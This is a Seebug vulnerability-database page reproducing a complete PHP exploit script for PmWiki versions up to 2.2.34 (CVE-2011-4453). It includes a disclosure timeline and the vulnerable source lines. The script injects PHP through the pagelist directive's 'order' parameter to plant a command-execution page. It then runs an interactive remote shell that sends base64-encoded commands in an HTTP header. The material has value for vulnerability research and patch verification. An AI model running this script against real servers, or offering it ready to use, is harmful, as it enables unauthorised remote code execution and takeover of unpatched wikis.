Lucene search

K
seebugRootSSV:72355
HistoryJul 01, 2014 - 12:00 a.m.

PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit

2014-07-0100:00:00
Root
www.seebug.org
117

0.92 High

EPSS

Percentile

98.7%

No description provided by source.


                                                &#60;?php

/*
    -------------------------------------------------------------
    PmWiki &#60;= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
    -------------------------------------------------------------
    
    author...............: Egidio Romano aka EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://www.pmwiki.org/
    affected versions....: from 2.0.0 to 2.2.34
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php
    
    452.      $code = &#39;&#39;;
    453.      foreach($opt[&#39;=order&#39;] as $o =&#62; $r) {
    454.        if (@$PageListSortCmp[$o]) 
    455.          $code .= &#34;\$c = {$PageListSortCmp[$o]}; &#34;; 
    456.        else 
    457.          $code .= &#34;\$c = @strcasecmp(\$PCache[\$x][&#39;$o&#39;],\$PCache[\$y][&#39;$o&#39;]); &#34;;
    458.        $code .= &#34;if (\$c) return $r\$c;\n&#34;;
    459.      }
    460.      StopWatch(&#39;PageListSort sort&#39;);
    461.      if ($code) 
    462.        uasort($list,
    463.               create_function(&#39;$x,$y&#39;, &#34;global \$PCache; $code return 0;&#34;));
    464.      StopWatch(&#39;PageListSort end&#39;);
    
    Input passed through &#39;order&#39; parameter of &#39;pagelist&#39; directive isn&#39;t properly sanitized before being used
    in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability might require authentication if the wiki isn&#39;t public writable.
    
    [-] Disclosure timeline:
    
    [09/11/2011] - Vulnerability discovered
    [11/11/2011] - Issue reported to http://www.pmwiki.org/wiki/PITS/01271
    [11/11/2011] - Version 2.2.35 released: http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235
    [12/11/2011] - CVE number requested
    [15/11/2011] - Assigned CVE-2011-4453
    [23/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die(&#34;\n[-] No response from {$host}:80\n&#34;);
 
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print &#34;\n+------------------------------------------------------------+&#34;;
print &#34;\n| PmWiki &#60;= 2.2.34 Remote PHP Code Injection Exploit by EgiX |&#34;;
print &#34;\n+------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
    print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62;\n&#34;;
    print &#34;\nExample....: php $argv[0] localhost /&#34;;
    print &#34;\nExample....: php $argv[0] localhost /pmwiki/\n&#34;;
    die();
}

$host = $argv[1];
$path = $argv[2];

$phpcode = &#34;&#39;]);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#&#34;;
$payload = &#34;action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)&#34;;

$packet  = &#34;POST {$path}pmwiki.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;;

if (!preg_match(&#34;/Location/&#34;, http_send($host, $packet))) die(&#34;\n[-] Edit password required?!\n&#34;);

$packet  = &#34;POST {$path}pmwiki.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Content-Length: 11\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\nn=Cmd.Shell&#34;;

while(1)
{
    print &#34;\npmwiki-shell# &#34;;
    if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match(&#34;/\n\r\n(.*)___/s&#34;, $response, $m) ? print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;);
}

?&#62;